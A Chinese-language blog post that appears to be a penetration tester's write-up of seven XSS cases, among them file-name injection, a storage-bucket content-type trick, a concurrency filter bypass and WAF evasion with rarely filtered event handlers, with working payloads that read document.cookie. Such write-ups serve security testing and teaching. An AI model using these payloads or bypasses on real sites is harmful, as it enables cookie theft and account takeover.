几个常见场景下的xss漏洞案例

2025-08-22 04:57 33 Xss介绍

公告编辑器处xss

发布作业处,这种有编辑器大概率就存在xss

图片
点击提交,拦截数据包,添加payload:
<details+open+ontoggle=confirm(document.cookie)>
图片
放包,访问作业处弹出cookie
图片

上传文件名处的xss

前端功能点如下

图片
点击我要办理
图片
点击上传文件
图片

文件名直接修改如下

<details open ontoggle=confirm(document.cookie)>.png

图片

成功执行js代码

图片
点击保存草稿,有的网站是在保存的这一步有过滤,去草稿箱确认一下
图片
确认无过滤,依然可以触发
图片

针对于管理员的xss

前端功能点如下,点击发起申请

图片
这里s标签就是给中间文本划横线
图片
请求包如下
图片

这里手动再添加下s标签

图片

可以看到是成功解析了s标签,如果没解析也不一定就不存在xss,但是只要解析就大概率存在xss了

图片
再重新编辑替换为最常见的paylaod
图片
没有什么过滤,成功执行js代码弹窗
图片

存储桶修改response导致xss

首先新建一个txt文件

image.png

上传文件功能点

图片

可以看到绝对路径

图片

存储桶域名修改为绑定的CDN域名,后面添加?response-content-type=text/html

图片

这种就属于低危反射型xss

并发绕过限制的存储型xss

地址簿管理

图片

直接添加下面payload会被过滤

<input2 onmouseout=\"alert(1)\">test</input2>

图片

遍历下面数字达到简单的并发效果

图片

成功绕过拦截

图片

这里来说只是self-xss,但是通过下订单选择此地址,再通过并发绕过限制即可盗取目标cookie

图片

某企业论坛的存储xss

漏洞点在评论区

图片

先测试最常见的a标签

图片

发现成功解析

图片

随便打个payload:

<a href=javascript:[1].find(alert)>xss</a>

图片

发现有过滤,构造事件属性,测试不太会过滤的事件,复制才会触发:

<a oncopy=alert(1)>t

选中t直接复制即可弹窗

图片
再测试一下简单交互就触发的事件,payload如下:
<a onmousemove=alert(1)>t
图片
晃动鼠标就可以弹窗
图片
再稍微变换一下展示操作
<a onmousemove=top[/al/.source+/ert/.source]('xsss')>test

银行门户的反射型xss

点击关于我们功能

图片

url中拼接title参数,发现回显到了前端

图片

随便插个payload被waf拦截

图片
手动测试a标签,可以解析
图片
直接上payload:
<a onmousemove=alert(xss)>test
这里本来以为会拦截,结果没拦直接弹了,省的再绕了
图片

总结

如果有可以解析的标签,大概率就能用冷门的事件绕过waf,alert有太多变形,比较好绕过waf,如果输出就对尖括号做了转义,那就只能看运气了。